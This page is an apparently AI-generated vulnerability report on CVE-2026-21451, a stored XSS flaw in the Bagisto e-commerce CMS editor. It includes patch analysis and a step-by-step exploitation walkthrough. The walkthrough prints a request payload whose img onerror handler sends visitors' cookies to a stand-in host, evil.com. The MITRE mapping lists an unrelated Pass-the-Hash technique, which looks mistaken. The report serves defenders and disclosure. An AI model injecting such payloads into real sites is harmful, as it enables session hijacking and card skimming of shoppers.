CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2026-21451
CVSS 5.2

Bagisto Stored XSS: When the CMS Becomes a Skimmer's Paradise

Amit Schendel
Amit Schendel
Senior Security Researcher•January 2, 2026•6 min read
PoC Available

Executive Summary (TL;DR)

Bagisto versions prior to 2.3.10 fail to sanitize HTML input on the server side within the CMS page editor. Developers relied on the WYSIWYG editor's client-side filtering, which can be trivially bypassed using a proxy. An attacker with CMS permissions can inject persistent JavaScript that executes for all visitors, leading to potential credit card skimming or session hijacking.

A classic 'client-side trust' failure in the Bagisto e-commerce platform allows privileged attackers to bypass HTML filters and inject malicious JavaScript. While requiring administrative access, this Stored XSS vulnerability poses a severe threat to storefront customers, enabling Magecart-style skimming attacks via the CMS page editor.

The Hook: Trusting the Wrong Perimeter

In the world of e-commerce application security, the Content Management System (CMS) is often the soft underbelly of an otherwise hardened fortress. While checkout flows and payment gateways are scrutinized heavily, the humble "About Us" or "Privacy Policy" page editor often gets a free pass. Enter Bagisto, a sleek, Laravel-based e-commerce platform that powers thousands of online stores. It's modern, it's popular, and until recently, it had a glaring blind spot in how it handled administrator input.

CVE-2026-21451 isn't a complex buffer overflow or a novel cryptographic oracle attack. It is a fundamental architectural sin: Trusting the Client. The developers assumed that because the admin interface's rich text editor (likely TinyMCE or similar) prevented users from typing <script> tags, the application was safe. They treated the User Interface as a security control.

But for a hacker, the UI is just a suggestion. By bypassing the browser entirely and speaking directly to the server, we can turn a benign page update into a persistent weapon. This vulnerability is particularly spicy because it's a Stored XSS in a shopping platform. This isn't just about popping alert boxes; it's about injecting credit card skimmers (Magecart) that persist in the database and execute on every customer's browser who visits the affected page.

The Flaw: The Illusion of Sanitization

The vulnerability lies in the disconnect between the frontend presentation layer and the backend logic. When an administrator edits a CMS page in Bagisto, the browser sends a POST request containing the page content. In a secure application, the server receives this blob of text and immediately runs it through a ruthless sanitization library (like HTMLPurifier) to strip out dangerous tags before saving it to the database.

In Bagisto versions prior to 2.3.10, this server-side gatekeeper was missing or asleep at the wheel. The application took the raw input from the html_content parameter and dumped it directly into the database. The only thing stopping an XSS payload was the JavaScript running in the admin's browser, which filtered the input before sending it.

This is the digital equivalent of a nightclub bouncer who checks IDs in the parking lot but leaves the back door unlocked. An attacker doesn't need to fool the bouncer; they just need to walk around the building. By intercepting the request with a proxy, we remove the constraints of the UI and feed the server whatever HTML we want. Since the server trusts the input, it effectively says, "You're an admin, you wouldn't hurt me," and stores the payload for later execution.

The Code: Autopsy of a Patch

The fix, introduced in Bagisto 2.3.10 via commit f533b1cd9c80896792da60976179c95573d78b79, explicitly acknowledges the lack of server-side hygiene. The developers introduced a new Sanitizer trait to handle the cleaning of input data before it touches the models.

Here is a conceptual look at the vulnerable flow versus the patched flow:

The Vulnerable Flow (Before)

// CMSController.php (Pseudo-code)
public function store()
{
    $data = request()->all(); // Take everything. Trust everyone.
    
    // Directly creating the page with raw input
    $this->cmsRepository->create($data);
    
    return response()->json(['message' => 'Page created!']);
}

The Fixed Flow (After) With the patch, Bagisto implemented a Sanitizer trait that likely wraps a robust library to parse and clean the HTML structure.

// CMSController.php (Patched)
use Webkul\Core\Traits\Sanitizer;
 
public function store()
{
    $data = request()->all();
    
    // The new sheriff in town
    if (isset($data['html_content'])) {
        $data['html_content'] = $this->sanitize($data['html_content']);
    }
 
    $this->cmsRepository->create($data);
    // ...
}

The sanitize function (and the specific sanitizeSVG for uploads) ensures that even if an attacker sends <script>alert(1)</script> or <img src=x onerror=alert(1)>, the storage engine receives harmless, escaped characters or strips the malicious tags entirely. This shifts the security boundary from the client (untrustworthy) to the server (trustworthy).

The Exploit: Bypassing the Editor

Exploiting this requires administrative access, specifically permissions to manage CMS pages. While this lowers the CVSS score, do not underestimate the risk. Compromised admin credentials are common, and this vulnerability allows an attacker to pivot from "Admin Access" to "Customer Data Theft."

Here is the attack chain:

  1. Recon: Log in to the Bagisto admin panel and navigate to CMS > Pages. Start editing an existing page, like "About Us".

  2. Interception: Enable Burp Suite (or your proxy of choice). Click "Save Page" in the browser. The browser's WYSIWYG editor cleans the input, but we pause the request before it leaves your machine.

  3. Injection: Look for the body parameter, typically en[html_content] (depending on the locale).

    Original Request Body:

    {
      "url_key": "about-us",
      "en": {
        "page_title": "About Us",
        "html_content": "<p>We are a great store.</p>"
      }
    }

    Modified Request Body:

    {
      "url_key": "about-us",
      "en": {
        "page_title": "About Us",
        "html_content": "<p>We are a great store.</p><img src=x onerror=fetch('https://evil.com/log?c='+document.cookie)>"
      }
    }
  4. Detonation: Forward the request. The server responds with a 200 OK. The payload is now in the database.

  5. Profit: Whenever a customer visits /about-us, their browser attempts to load the broken image, triggers the onerror event, and silently sends their session cookies (or worse, checkout data if the script is more complex) to your logging server.

The Impact: Why This Matters

Why panic over a vulnerability that requires admin rights? Because in e-commerce, persistence is everything. If an attacker gains temporary access to an admin panel (via phishing, weak passwords, or a separate vulnerability), they want to maintain that access or monetize it.

Magecart & Skimming: This is the primary danger. By injecting a JavaScript skimmer into a CMS page that is linked in the footer (like "Shipping Policy"), an attacker can capture credit card details from customers across the entire site if the script is loaded globally or if customers visit that page during their journey.

Privilege Escalation / Persistence: Even if the original admin password is changed, the stored XSS payload remains. If another super-admin views the affected page in the backend to edit it, the script executes in their session context. This allows the attacker to hijack the super-admin's session, create new API keys, or create a backdoor admin account, effectively locking down the system even after the initial breach is 'remediated'.

Official Patches

BagistoBagisto v2.3.10 Release Notes
BagistoPull Request #11068 - Fix sanitize cms content xss

Fix Analysis (1)

Technical Appendix

CVSS Score
5.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P

Affected Systems

Bagisto eCommerce PlatformLaravel Applications using vulnerable Bagisto packages

Affected Versions Detail

ProductAffected VersionsFixed Version
Bagisto
Webkul
< 2.3.102.3.10
AttributeDetail
CWE IDCWE-79
CVSS v4.05.2 (Medium)
Attack VectorNetwork (Authenticated)
Privileges RequiredHigh (Admin)
ImpactStored XSS / Data Exfiltration
Fix Version2.3.10

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1550.002Use Alternate Authentication Material: Pass the Hash
Defense Evasion
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit Resources

Known Exploits & Detection

GitHub AdvisoryOfficial advisory containing reproduction steps

Vulnerability Timeline

Vulnerability Timeline

Fix committed to repository
2025-12-24
CVE-2026-21451 Published
2026-01-02
Bagisto v2.3.10 Released
2026-01-02

References & Sources

  • [1]GHSA-2mwc-h2mg-v6p8: Stored XSS in Bagisto
  • [2]Bagisto Official Site
Related Vulnerabilities
CVE-2026-21446CVE-2026-21447CVE-2026-21448

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.